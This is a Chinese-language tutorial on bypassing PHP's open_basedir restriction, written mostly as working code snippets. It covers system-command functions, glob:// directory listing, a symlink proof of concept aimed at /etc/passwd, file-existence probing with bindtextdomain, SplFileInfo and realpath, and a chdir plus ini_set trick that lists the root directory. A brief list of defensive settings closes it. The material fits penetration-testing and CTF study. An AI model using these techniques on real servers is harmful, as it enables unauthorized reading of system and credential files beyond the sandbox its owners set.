从0学习bypass open_basedir姿势
字数 1351 2025-08-03 16:43:07
Bypass open_basedir 技术全面解析
1. open_basedir 简介
open_basedir 是 PHP 配置选项,用于限制用户访问文件的活动范围:
- 在 php.ini 中设置,如
open_basedir=/var/www/html/ - 限制用户只能访问指定目录及其子目录
- 对 webshell 工具的文件访问有限制作用
2. 绕过技术详解
2.1 使用系统命令函数
原理:open_basedir 对命令执行函数没有限制
可用函数:
system()- 其他未被禁用的命令执行函数(如
exec(),shell_exec()等)
示例:
system("ls /");
注意:可能受 disable_functions 限制
2.2 使用 glob:// 伪协议
glob:// 特性:
- 查找匹配的文件路径模式
- PHP 5.3.0+ 支持
- 需配合其他函数使用
2.2.1 DirectoryIterator + glob://
$c = $_GET['c'];
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'<br>');
}
2.2.2 opendir() + readdir() + glob://
$a = $_GET['c'];
if($b = opendir($a)){
while(($file = readdir($b)) !== false){
echo $file."<br>";
}
closedir($b);
}
限制:
- 只能列出根目录和 open_basedir 允许目录下的文件
- PHP7 可使用
glob:///*/www/../*列举 /var
2.2.3 scandir() + glob://
$files = scandir('glob:///*');
print_r($files);
2.3 符号链接 (symlink) 绕过
原理:利用符号链接和目录跳转突破限制
POC:
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D", "SD");
symlink("SD/etc/passwd", "POC");
unlink("SD");
mkdir("SD");
p牛 EXP:
// 完整EXP见原文,支持自动生成多层目录和符号链接
2.4 bindtextdomain 和 SplFileInfo 方法
2.4.1 bindtextdomain
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
原理:基于返回结果判断文件是否存在
2.4.2 SplFileInfo::getRealPath()
$info = new SplFileInfo($_GET['dir']);
var_dump($info->getRealPath());
原理:不存在的路径返回 false,存在的返回绝对路径,忽略 open_basedir
2.5 realpath 列目录 (Windows)
set_error_handler('isexists');
$dir = 'D:/5E/5EClient/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for($i=0;$i<strlen($chars);$i++){
$file = $dir.$chars[$i].'<><';
realpath($file);
}
原理:基于错误信息判断文件是否存在
2.6 chdir 与 ini_set 组合
mkdir('sub');
chdir('sub');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));
原理:通过修改工作目录和重设 open_basedir 突破限制
3. 技术总结
| 方法 | 适用环境 | 限制 |
|---|---|---|
| 系统命令 | 命令函数可用 | disable_functions |
| glob:// | PHP 5.3+ | 只能列目录 |
| symlink | 支持符号链接 | 需要创建目录 |
| bindtextdomain | - | 仅能探测存在性 |
| SplFileInfo | PHP 5.1.2+ | 仅能探测存在性 |
| realpath | Windows | 仅能探测存在性 |
| chdir+ini_set | - | 需要执行权限 |
4. 防御建议
- 合理设置 open_basedir
- 禁用危险函数 (disable_functions)
- 限制目录创建和符号链接权限
- 定期更新 PHP 版本修复安全漏洞
5. 参考资源
- 浅谈几种Bypass open_basedir的方法
- PHP bypass open_basedir
- 从PHP底层看open_basedir bypass